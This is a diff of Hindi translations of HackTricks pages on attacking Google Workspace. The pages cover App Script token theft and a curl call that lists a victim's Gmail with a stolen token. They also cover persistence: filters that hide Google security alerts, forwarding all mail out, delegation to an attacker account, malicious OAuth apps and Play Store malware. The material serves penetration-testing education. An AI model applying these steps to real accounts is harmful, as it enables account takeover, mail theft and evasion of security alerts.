> [!TIP]
> यदि एक **हमलावर App Script के स्कोप को संशोधित करता है**, तो अपडेट **दस्तावेज़ पर लागू नहीं होंगे** जब तक कि एक **नया ट्रिगर** परिवर्तनों के साथ नहीं बनाया जाता। इसलिए, एक हमलावर ट्रिगर में सेट किए गए स्कोप से अधिक स्कोप के साथ मालिक के निर्माता टोकन को चुराने में असमर्थ होगा।
> यदि एक **हमलावर App Script के स्कोप को संशोधित करता है** तो अपडेट **दस्तावेज़ पर लागू नहीं होंगे** जब तक कि एक **नया ट्रिगर** परिवर्तनों के साथ नहीं बनाया जाता। इसलिए, एक हमलावर ट्रिगर में सेट किए गए स्कोप से अधिक स्कोप के साथ मालिक के निर्माता टोकन को चुराने में असमर्थ होगा।
### Copying instead of sharing
### साझा करने के बजाय कॉपी करना
जब आप एक दस्तावेज़ साझा करने के लिए एक लिंक बनाते हैं, तो एक लिंक इस तरह का बनाया जाता है: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
यदि आप **"/edit"** के अंत को **"/copy"** में **बदलते हैं**, तो इसे एक्सेस करने के बजाय गूगल आपसे पूछेगा कि क्या आप **दस्तावेज़ की एक प्रति उत्पन्न करना चाहते हैं:**
@@ -177,17 +177,17 @@ Permissions requested to execute the App Script:
यदि उपयोगकर्ता इसे कॉपी करता है और इसे एक्सेस करता है, तो **दस्तावेज़ की सामग्री और App Scripts दोनों को कॉपी किया जाएगा**, हालाँकि **ट्रिगर नहीं होंगे**, इसलिए **कुछ भी निष्पादित नहीं होगा**
### Sharing as Web Application
### वेब एप्लिकेशन के रूप में साझा करना
ध्यान दें कि **App Script को एक वेब एप्लिकेशन के रूप में साझा करना भी संभव है** (App Script के संपादक में, एक वेब एप्लिकेशन के रूप में तैनात करें), लेकिन इस तरह का एक अलर्ट दिखाई देगा:
ध्यान दें कि **App Script को वेब एप्लिकेशन के रूप में साझा करना भी संभव है** (App Script के संपादक में, वेब एप्लिकेशन के रूप में तैनात करें), लेकिन इस तरह का एक अलर्ट दिखाई देगा:
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
इसके बाद आवश्यक अनुमतियों के लिए **टिपिकल OAuth प्रॉम्प्ट** आएगा।
इसके बाद आवश्यक अनुमतियों के लिए **विशिष्ट OAuth प्रॉम्प्ट** आएगा।
### Testing
### परीक्षण
आप एक एकत्रित टोकन का परीक्षण कर सकते हैं ताकि ईमेल सूचीबद्ध क जा सके:
आप एकत्रित टोकन का परीक्षण कर सकते हैं ताकि ईमेल सूचीबद्ध किया जा सके:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
@@ -221,7 +221,7 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
> इसका मतलब यह भी है कि **App Script को दस्तावेज़ के निर्माता के Workspace वातावरण द्वारा विश्वसनीय माना जाएगा**।
> [!CAUTION]
> इसका मतलब यह भी है कि यदि एक **App Script पहले से मौजूद है** और लोगों ने **पहुँच दी है**, तो दस्तावेज़ पर **संपादक** अनुमति वाले कोई भी व्यक्ति **इसे संशोधित कर सकता है और उस पहुंच का दुरुपयोग कर सकता है।**\
> इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की भी आवश्यकता है। और एक अच्छा ट्रिक है कि **स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करें**। जब **लोग** जो पहले से **पहुँच** दे चुके हैं, वेब पृष्ठ तक पहुँचते हैं, तो वे **App Script को ट्रिगर करेंगे** (यह `<img>` टैग का उपयोग करके भी काम करता है)।
> इसका मतलब यह भी है कि यदि एक **App Script पहले से मौजूद है** और लोगों ने **पहुँच दी है**, तो कोई भी **Editor** अनुमति वाले व्यक्ति **इसे संशोधित कर सकता है और उस पहुंच का दुरुपयोग कर सकता है।**\
> इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की भी आवश्यकता है। और एक अच्छा ट्रिक है **स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करना**। जब **लोग** जो पहले से **पहुँच** दे चुके हैं, वेब पृष्ठ तक पहुँचते हैं, तो वे **App Script को ट्रिगर करेंगे** (यह `<img>` टैग का उपयोग करके भी काम करता है)।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,11 +3,11 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> इस अनुभाग में उल्लिखित सभी क्रियाएँ जो सेटिंग्स को बदलती हैं, **ईमेल पर एक सुरक्षा अलर्ट उत्पन्न करेंगी और किसी भी मोबाइल पर एक पुश नोटिफिकेशन भी भेजेंगी** जो खाते के साथ समन्वयित है।
> इस अनुभाग में उल्लिखित सभी क्रियाएँ जो सेटिंग्स को बदलती हैं, **ईमेल पर एक सुरक्षा अलर्ट और किसी भी मोबाइल पर एक पुश नोटिफिकेशन** उत्पन्न करेंगी जो खाते के साथ समन्वयित है।
## **Gmail में स्थिरता**
- आप **सुरक्षा सूचनाओं को छिपाने के लिए फिल्टर बना सकते हैं**
- आप Google से सुरक्षा सूचनाओं को छिपाने के लिए **फिल्टर बना सकते हैं**
- `from: (no-reply@accounts.google.com) "Security Alert"`
- यह सुरक्षा ईमेल को ईमेल तक पहुँचने से रोकेगा (लेकिन मोबाइल पर पुश नोटिफिकेशन को रोक नहीं पाएगा)
@@ -18,21 +18,21 @@
(निर्देश [**यहाँ**](https://support.google.com/mail/answer/6579) से)
1. [Gmail](https://mail.google.com/) खोलें।
2. शीर्ष पर खोज बॉक्स में, खोज विकल्प दिखाएँ पर क्लिक करें ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
2. शीर्ष पर खोज बॉक्स में, खोज विकल्प दिखाने के लिए क्लिक करें ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
3. अपने खोज मानदंड दर्ज करें। यदि आप यह जांचना चाहते हैं कि आपकी खोज सही ढंग से काम कर रही है, तो **खोज** पर क्लिक करके देखें कि कौन से ईमेल दिखाई देते हैं।
4. खोज विंडो के नीचे, **फिल्टर बनाएँ** पर क्लिक करें।
5. चुनें कि आप फ़िल्टर से क्या करना चाहते हैं।
6. **फिल्टर बनाएँ** पर क्लिक करें।
4. खोज विंडो के नीचे, **फिल्टर बनाएँ** पर क्लिक करें।
5. चुनें कि आप फ़िल्टर को क्या करना चाहते हैं।
6. **फिल्टर बनाएँ** पर क्लिक करें।
अपने वर्तमान फ़िल्टर की जाच करें (उन्हें हटाने के लिए) [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
अपने वर्तमान फ़िल्टर की जाच करें (उन्हें हटाने के लिए) [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters) पर
</details>
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
- **संवेदनशील जानकारी को अग्रेषित करने के लिए अग्रेषण पता बनाएं** (या सब कुछ) - आपको मैनुअल एक्सेस की आवश्यकता है।
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) में एक अग्रेषण पता बनाए
- प्राप्त करने वाले पते को इसकी पुष्टि करने की आवश्यकता होगी
- संवेदनशील जानकारी (या सब कुछ) को अग्रेषित करने के लिए **अग्रेषण पता बनाए** - आपको मैनुअल एक्सेस की आवश्यकता है।
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) पर एक अग्रेषण पता बनाए
- प्राप्त करने वाले पते को इसकी पुष्टि करन होगी
- फिर, सभी ईमेल को अग्रेषित करने के लिए सेट करें जबकि एक प्रति रखते हुए (बदलाव सहेजने के लिए क्लिक करना न भूलें):
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
@@ -41,9 +41,9 @@
## ऐप पासवर्ड
यदि आप **एक गूगल उपयोगकर्ता सत्र को समझौता करने में सफल रहे हैं** और उपयोगकर्ता के पास **2FA** है, तो आप **एक [**ऐप पासवर्ड**](https://support.google.com/accounts/answer/185833?hl=en) उत्पन्न कर सकते हैं** (चरण देखने के लिए लिंक का पालन करें)। ध्यान दें कि **ऐप पासवर्ड अब गूगल द्वारा अनुशंसित नहीं हैं और जब उपयोगकर्ता **अपने गूगल खाते का पासवर्ड बदलता है तो रद्द कर दिए जाते हैं।**
यदि आप **एक Google उपयोगकर्ता सत्र को समझौता** करने में सफल रहे हैं और उपयोगकर्ता के पास **2FA** है, तो आप **एक [**ऐप पासवर्ड**](https://support.google.com/accounts/answer/185833?hl=en) उत्पन्न कर सकते हैं** (चरण देखने के लिए लिंक का पालन करें)। ध्यान दें कि **ऐप पासवर्ड अब Google द्वारा अनुशंसित नहीं हैं और जब उपयोगकर्ता **अपने Google खाते का पासवर्ड बदलता है तो रद्द कर दिए जाते हैं।**
**यहा तक कि यदि आपके पास एक खुला सत्र है, तो आपको ऐप पासवर्ड बनाने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
**यहा तक कि यदि आपके पास एक खुला सत्र है, तो आपको ऐप पासवर्ड बनाने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
> [!NOTE]
> ऐप पासवर्ड **केवल उन खातों के साथ उपयोग किए जा सकते हैं जिनमें 2-चरणीय सत्यापन** चालू है।
@@ -51,19 +51,19 @@
## 2-FA और समान में परिवर्तन
यह भी संभव है कि **2-FA बंद करें या एक नए डिवाइस** (या फोन नंबर) को इस पृष्ठ [**https://myaccount.google.com/security**](https://myaccount.google.com/security)** में नामांकित करें।**\
**यह भी संभव है कि पासकीज़ उत्पन्न करें (अपना डिवाइस जोड़ें), पासवर्ड बदलें, सत्यापन फोन के लिए मोबाइल नंबर जोड़ें और पुनर्प्राप्ति के लिए, पुनर्प्राप्ति ईमेल बदलें और सुरक्षा प्रश्न बदलें।**
**यह पासकीज़ उत्पन्न करना भी संभव है (अपना डिवाइस जोड़ें), पासवर्ड बदलें, सत्यापन फोन और पुनर्प्राप्ति के लिए मोबाइल नंबर जोड़ें, पुनर्प्राप्ति ईमेल बदलें और सुरक्षा प्रश्न बदलें।**
> [!CAUTION]
> **सुरक्षा पुश नोटिफिकेशन** को उपयोगकर्ता के फोन तक पहुँचने से रोकने के लिए, आप **उसके स्मार्टफोन को साइन आउट कर सकते हैं** (हालांकि यह अजीब होगा) क्योंकि आप यहाँ से उसे फिर से साइन इन नहीं कर सकते।
> उपयोगकर्ता के फोन पर **सुरक्षा पुश नोटिफिकेशन** पहुँचने से रोकने के लिए, आप **उसके स्मार्टफोन को साइन आउट** कर सकते हैं (हालांकि यह अजीब होगा) क्योंकि आप यहाँ से उसे फिर से साइन इन नहीं कर सकते।
>
> यह भी संभव है कि **डिवाइस को स्थानांतरित करें।**
**यहा तक कि यदि आपके पास एक खुला सत्र है, तो आपको इन सेटिंग्स को बदलने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
**यहा तक कि यदि आपके पास एक खुला सत्र है, तो आपको इन सेटिंग्स को बदलने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
## OAuth ऐप्स के माध्यम से स्थिरता
यदि आपने **एक उपयोगकर्ता के खाते को समझौता किया है,** तो आप बस **OAuth ऐप** को सभी संभावित अनुमतियाँ देने के लिए **स्वीकृति** दे सकते हैं। एकमात्र समस्या यह है कि Workspace को **अवलोकित बाहरी और/या आंतरिक OAuth ऐप्स की अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है।**\
यह Workspace संगठनों के लिए सामान्य है कि वे डिफ़ॉल्ट रूप से बाहरी OAuth ऐप्स पर भरोसा नहीं करते हैं लेकिन आंतरिक पर करते हैं, इसलिए यदि आपके पास **संगठन के भीतर एक नया OAuth एप्लिकेशन उत्पन्न करने के लिए पर्याप्त अनुमतियाँ हैं** और बाहरी ऐप्स अवरुद्ध हैं, तो इसे उत्पन्न करें और **स्थिरता बनाए रखने के लिए उस नए आंतरिक OAuth ऐप का उपयोग करें**
यदि आपने **एक उपयोगकर्ता के खाते को समझौता किया है,** तो आप बस **OAuth ऐप** को सभी संभावित अनुमतियाँ देने के लिए **स्वीकृति** दे सकते हैं। एकमात्र समस्या यह है कि Workspace को **अवलोकित बाहरी और/या आंतरिक OAuth ऐप्स** को **अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है।**\
यह Workspace संगठनों के लिए सामान्य है कि वे डिफ़ॉल्ट रूप से बाहरी OAuth ऐप्स पर भरोसा नहीं करते हैं लेकिन आंतरिक पर भरोसा करते हैं, इसलिए यदि आपके पास संगठन के भीतर एक नया OAuth एप्लिकेशन उत्पन्न करने के लिए **पर्याप्त अनुमतियाँ हैं** और बाहरी ऐप्स अवरुद्ध हैं, तो इसे उत्पन्न करें और **स्थिरता बनाए रखने के लिए उस नए आंतरिक OAuth ऐप का उपयोग करें**
OAuth ऐप्स के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
@@ -73,28 +73,28 @@ gws-google-platforms-phishing/
## प्रतिनिधित्व के माध्यम से स्थिरता
आप बस **खाते को एक अलग खाते में प्रतिनिधित्व कर सकते हैं** जो हमलावर द्वारा नियंत्रित है (यदि आपको ऐसा करने की अनुमति है)। Workspace **संगठनों** में यह विकल्प **सक्षम** होना चाहिए। इसे सभी के लिए अक्षम किया जा सकता है, कुछ उपयोगकर्ताओं/समूहों से सक्षम किया जा सकता है या सभी के लिए (आमतौर पर यह केवल कुछ उपयोगकर्ताओं/समूहों के लिए सक्षम होता है या पूरी तरह से अक्षम होता है)।
आप बस **खाते को एक अलग खाते** में प्रतिनिधित्व कर सकते हैं जो हमलावर द्वारा नियंत्रित है (यदि आपको ऐसा करने की अनुमति है)। Workspace **संगठनों** में यह विकल्प **सक्षम** होना चाहिए। इसे सभी के लिए अक्षम किया जा सकता है, कुछ उपयोगकर्ताओं/समूहों से सक्षम किया जा सकता है या सभी के लिए (आमतौर पर यह केवल कुछ उपयोगकर्ताओं/समूहों के लिए सक्षम होता है या पूरी तरह से अक्षम होता है)।
<details>
<summary>यदि आप एक Workspace व्यवस्थापक हैं तो इस फीचर को सक्षम करने के लिए जाँच करें</summary>
<summary>यदि आप एक Workspace व्यवस्थापक हैं तो इस विकल्प को सक्षम करने के लिए जांचें</summary>
(जानकारी [दस्तावेज़ों से कॉपी की गई](https://support.google.com/a/answer/7223765))
आपके संगठन के लिए एक व्यवस्थापक के रूप में (उदाहरण के लिए, आपका कार्य या स्कूल), आप नियंत्रित करते हैं कि उपयोगकर्ता अपने Gmail खाते तक पहुँच को प्रतिनिधित्व कर सकते हैं या नहीं। आप सभी को अपने खाते को प्रतिनिधित्व करने का विकल्प दे सकते हैं। या, केवल कुछ विभागों के लोगों को प्रतिनिधित्व सेट करने की अनुमति दें। उदाहरण के लिए, आप:
- अपने Gmail खाते पर एक प्रशासनिक सहायक को प्रतिनिधि के रूप में जोड़ सकते हैं ताकि वे आपकी ओर से ईमेल पढ़ और भेज सकें।
- एक समूह, जैसे कि आपकी बिक्री विभाग, को समूहों में एक प्रतिनिधि के रूप में जोड़ सकते हैं ताकि सभी को एक Gmail खाते तक पहुँच मिल सके।
- एक समूह, जैसे कि आपकी बिक्री विभाग, को समूहों में प्रतिनिधि के रूप में जोड़ सकते हैं ताकि सभी को एक Gmail खाते तक पहुँच मिल सके।
उपयोगकर्ता केवल उसी संगठन में दूसरे उपयोगकर्ता को प्रतिनिधित्व कर सकते हैं, चाहे उनका डोमेन या उनका संगठनात्मक इकाई कुछ भी हो।
#### प्रतिनिधित्व सीमाएँ और प्रतिबंध
- **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** विकल्प: इस विकल्प का उपयोग करने के लिए, इसे प्रतिनिधित्व किए गए खाते के OU और प्रत्येक समूह सदस्य के OU के लिए सक्षम होना चाहिए। जिन समूह के सदस्य एक OU में हैं जिसमें यह विकल्प सक्षम नहीं है, वे प्रतिनिधित्व किए गए खाते तक पहुँच नहीं सकते।
- **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** विकल्प: इस विकल्प का उपयोग करने के लिए, इसे प्रतिनिधित्व किए गए खाते के OU और प्रत्येक समूह सदस्य के OU के लिए सक्षम किया जाना चाहिए। ऐसे समूह सदस्य जो बिना इस विकल्प के सक्षम OU में है, वे प्रतिनिधित्व किए गए खाते तक पहुँच नहीं सकते।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं। एक या अधिक प्रतिनिधियों द्वारा औसत से अधिक उपयोग इस संख्या को कम कर सकता है।
- स्वचालित प्रक्रियाएँ जो अक्सर Gmail तक पहुँचती हैं, वे भी एक ही समय में एक खाते तक पहुँचने वाले प्रतिनिधियों की संख्या को कम कर सकती हैं। इन प्रक्रियाओं में APIs या ब्राउज़र एक्सटेंशन शामिल हैं जो अक्सर Gmail तक पहुँचते हैं।
- स्वचालित प्रक्रियाएँ जो अक्सर Gmail तक पहुँचती हैं, वे भी एक ही समय में एक खाते तक पहुँचने वाले प्रतिनिधियों की संख्या को कम कर सकती हैं। इन प्रक्रियाओं में API या ब्राउज़र एक्सटेंशन शामिल हैं जो अक्सर Gmail तक पहुँचते हैं।
- एक ही Gmail खाता 1,000 अद्वितीय प्रतिनिधियों का समर्थन करता है। समूहों में एक समूह एक प्रतिनिधि के रूप में सीमा की ओर गिना जाता है।
- प्रतिनिधित्व Gmail खाते की सीमाओं को नहीं बढ़ाता है। प्रतिनिधियों वाले Gmail खातों में मानक Gmail खाता सीमाएँ और नीतियाँ होती हैं। विवरण के लिए, [Gmail सीमाएँ और नीतियाँ](https://support.google.com/a/topic/28609) पर जाएँ।
- प्रतिनिधित्व Gmail खाते की सीमाओं को नहीं बढ़ाता है। प्रतिनिधि उपयोगकर्ताओं वाले Gmail खातों में मानक Gmail खाता सीमाएँ और नीतियाँ होती हैं। विवरण के लिए, [Gmail सीमाएँ और नीतियाँ](https://support.google.com/a/topic/28609) पर जाएँ।
#### चरण 1: अपने उपयोगकर्ताओं के लिए Gmail प्रतिनिधित्व चालू करें
@@ -105,9 +105,9 @@ gws-google-platforms-phishing/
एक _व्यवस्थापक खाते_ का उपयोग करके साइन इन करें, न कि अपने वर्तमान खाते CarlosPolop@gmail.com
2. व्यवस्थापक कंसोल में, मेनू पर जाएँ ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **ऐप्स**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**उपयोगकर्ता सेटिंग्स**।
3. यदि आप सभी के लिए सेटिंग लागू करना चाहते हैं, तो शीर्ष संगठनात्मक इकाई को चयनित छोड़ दें। अन्यथा, एक बच्चे [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) का चयन करें।
3. यदि आप सेटिंग को सभी पर लागू करना चाहते हैं, तो शीर्ष संगठनात्मक इकाई को चयनित छोड़ दें। अन्यथा, एक बच्चे [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) का चयन करें।
4. **मेल प्रतिनिधित्व** पर क्लिक करें।
5. **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच को अन्य उपयोगकर्ताओं को डोमेन में प्रतिनिधित्व करने की अनुमति दें** बॉक्स को चेक करें।
5. **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए अन्य उपयोगकर्ताओं को अनुमति दें** बॉक्स को चेक करें।
6. (वैकल्पिक) उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देने के लिए कि उनके खाते से भेजे गए प्रतिनिधि संदेशों में कौन सी प्रेषक जानकारी शामिल है, **उपयोगकर्ताओं को इस सेटिंग को अनुकूलित करने की अनुमति दें** बॉक्स को चेक करें।
7. प्रतिनिधियों द्वारा भेजे गए संदेशों में शामिल प्रेषक जानकारी के लिए एक विकल्प चुनें:
- **खाते के मालिक और प्रतिनिधि को दिखाएँ जिसने ईमेल भेजा**—संदेशों में Gmail खाते के मालिक और प्रतिनिधि के ईमेल पते शामिल होते हैं।
@@ -118,11 +118,11 @@ gws-google-platforms-phishing/
परिवर्तन में 24 घंटे तक का समय लग सकता है लेकिन आमतौर पर अधिक तेजी से होते हैं। [अधिक जानें](https://support.google.com/a/answer/7514107)
#### चरण 2: उपयोगकर्ताओं को अपने खातों के लिए प्रतिनिधियों को सेट अप करने दें
#### चरण 2: उपयोगकर्ताओं को अपने खातों के लिए प्रतिनिधियों को सेट करने दें
जब आप प्रतिनिधित्व चालू करते हैं, तो आपके उपयोगकर्ता अपने Gmail सेटिंग्स में जाकर प्रतिनिधियों को असाइन करते हैं। प्रतिनिधि तब उपयोगकर्ता की ओर से संदेश पढ़, भेज और प्राप्त कर सकते हैं।
विवरण के लिए, उपयोगकर्ताओं को [ईमेल पर प्रतिनिधित्व और सहयोग करें](https://support.google.com/a/users/answer/138350) पर निर्देशित करें।
विवरण के लिए, उपयोगकर्ताओं को [ईमेल पर प्रतिनिधित्व और सहयोग](https://support.google.com/a/users/answer/138350) पर निर्देशित करें।
</details>
@@ -138,23 +138,23 @@ gws-google-platforms-phishing/
- आप अपने संगठन के भीतर अधिकतम 1000 प्रतिनिधि जोड़ सकते हैं।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
- यदि आप स्वचालित प्रक्रियाओं का उपयोग करते हैं, जैसे APIs या ब्राउज़र एक्सटेंशन, तो कुछ प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
- यदि आप स्वचालित प्रक्रियाओं का उपयोग करते हैं, जैसे API या ब्राउज़र एक्सटेंशन, तो कुछ प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
1. अपने कंप्यूटर पर, [Gmail](https://mail.google.com/) खोलें। आप Gmail ऐप से प्रतिनिधि नहीं जोड़ सकते।
2. शीर्ष दाएँ कोने में, सेटिंग्स पर क्लिक करें ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![और फिर](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **सभी सेटिंग्स देखें**
3. **खाते और आयात** या **खाते** टैब पर क्लिक करें।
4. "अपने खाते तक पहुँच देने के लिए" अनुभाग में, **एक और खाता जोड़ें** पर क्लिक करें। यदि आप अपने कार्य या स्कूल के माध्यम से Gmail का उपयोग कर रहे हैं, तो आपके संगठन द्वारा ईमेल प्रतिनिधित्व को प्रतिबंधित किया जा सकता है। यदि आप इस सेटिंग को नहीं देखते हैं, तो अपने व्यवस्थापक से संपर्क करें।
- यदि आप अपने खाते तक पहुँच देने के लिए विकल्प नहीं देखते हैं, तो यह प्रतिबंधित है।
5. उस व्यक्ति का ईमेल पता दर्ज करें जिसे आप जोड़ना चाहते हैं। यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं, और आपके व्यवस्थापक इसकी अनुमति देते हैं, तो आप एक समूह का ईमेल पता दर्ज कर सकते हैं। इस समूह का आपके संगठन के समान डोमेन होना चाहिए। समूह के बाहरी सदस्यों को प्रतिनिधित्व पहुँच से वंचित किया जाता है।\
5. उस व्यक्ति का ईमेल पता दर्ज करें जिसे आप जोड़ना चाहते हैं। यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं, और आपके व्यवस्थापक इसकी अनुमति देते हैं, तो आप एक समूह का ईमेल पता दर्ज कर सकते हैं। इस समूह का डोमेन आपके संगठन के समान होना चाहिए। समूह के बाहरी सदस्यों को प्रतिनिधित्व पहुँच से वंचित किया जाता है।\
\
**महत्वपूर्ण:** यदि आप जिस खाते को प्रतिनिधित्व करे हैं वह एक नया खाता है या पासवर्ड रीसेट किया गया है, तो व्यवस्थापक को पहले साइन इन करते समय पासवर्ड बदलने की आवश्यकता को बंद करना होगा।
**महत्वपूर्ण:** यदि आप जिस खाते को प्रतिनिधित्व कर रहे हैं वह एक नया खाता है या पासवर्ड रीसेट किया गया है, तो व्यवस्थापक को पहले साइन इन करते समय पासवर्ड बदलने की आवश्यकता को बंद करना होगा।
- [जानें कि एक व्यवस्थापक उपयोगकर्ता कैसे बना सकता है](https://support.google.com/a/answer/33310)।
- [जानें कि एक व्यवस्थापक पासवर्ड कैसे रीसेट कर सकता है](https://support.google.com/a/answer/33319)।
6. **अगला चरण** पर क्लिक करें ![और फिर](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **पहुँच देने के लिए ईमेल भेजें**
जिस व्यक्ति को आपने जोड़ा है, उसे पुष्टि करने के लिए एक ईमेल प्राप्त होगा। निमंत्रण एक सप्ताह के बाद समाप्त हो जाएगा।
आपने जिस व्यक्ति को जोड़ा है, उसे पुष्टि करने के लिए एक ईमेल प्राप्त होगा। निमंत्रण एक सप्ताह के बाद समाप्त हो जाएगा।
यदि आपने एक समूह जोड़ा है, तो सभी समूह के सदस्य बिना पुष्टि किए प्रतिनिधि बन जाएंगे।
@@ -164,11 +164,11 @@ gws-google-platforms-phishing/
## Android ऐप के माध्यम से स्थिरता
यदि आपके पास **शिकारियों के गूगल खाते के अंदर एक सत्र है** तो आप **प्ले स्टोर** पर जा सकते हैं और संभवतः **मैलवेयर इंस्टॉल कर सकते हैं** जिसे आपने पहले से स्टोर में अपलोड किया है सीधे **फोन पर** स्थिरता बनाए रखने और शिकारियों के फोन तक पहुँचने के लिए।
यदि आपके पास **पीड़ित के Google खाते के भीतर एक सत्र** है, तो आप **Play Store** पर जा सकते हैं और संभवतः **मैलवेयर स्थापित कर सकते हैं** जिसे आपने पहले से स्टोर में अपलोड किया है सीधे **फोन पर** स्थिरता बनाए रखने और पीड़ित के फोन तक पहुँचने के लिए।
## **ऐप स्क्रिप्ट के माध्यम से स्थिरता**
आप ऐप स्क्रिप्ट में **समय-आधारित ट्रिगर्स** बना सकते हैं, इसलिए यदि ऐप स्क्रिप्ट उपयोगकर्ता द्वारा स्वीकार की जाती है, तो यह **ट्रिगर** होगी भले ही **उपयोगकर्ता इसे एक्सेस न करे**। इसे करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
आप ऐप स्क्रिप्ट में **समय-आधारित ट्रिगर्स** बना सकते हैं, इसलिए यदि ऐप स्क्रिप्ट उपयोगकर्ता द्वारा स्वीकार की जाती है, तो यह **ट्रिगर** होगी भले ही **उपयोगकर्ता इसे एक्सेस न करे**। इसे कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md
@@ -176,7 +176,7 @@ gws-google-platforms-phishing/gws-app-scripts.md
## संदर्भ
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - मैथ्यू ब्रायंट - हैकिंग जी सूट: डार्क ऐप्स स्क्रिप्ट जादू की शक्ति
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - माइक फेल्च और ब्यू बुलॉक - ओके गूगल, मैं जीसुइट को रेड टीम कैसे करूँ?
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch और Beau Bullock - OK Google, How do I Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## Google Groups Privesc
डिफ़ॉल्ट रूप से, वर्कस्पेस में एक **समूह** को संगठन के किसी भी सदस्य द्वारा **स्वतंत्र रूप से एक्सेस** किया जा सकता है।\
वर्कस्पेस समूहों को **अनुमति देने** की भी अनुमति देता है (यहां तक कि GCP अनुमतियां), इसलिए यदि समूहों में शामिल होने की अनुमति है और उनके पास अतिरिक्त अनुमतियां हैं, तो एक हमलावर **अधिकार बढ़ाने के लिए उस पथ का दुरुपयोग कर सकता है**
डिफ़ॉल्ट रूप से, workspace में एक **group** को संगठन के किसी भी सदस्य द्वारा **स्वतंत्र रूप से एक्सेस** किया जा सकता है।\
Workspace **groups को अनुमति देने** की भी अनुमति देता है (यहां तक कि GCP अनुमतियां), इसलिए यदि groups में शामिल किया जा सकता है और उनके पास अतिरिक्त अनुमतियां हैं, तो एक हमलावर **अधिकार बढ़ाने के लिए उस पथ का दुरुपयोग कर सकता है**
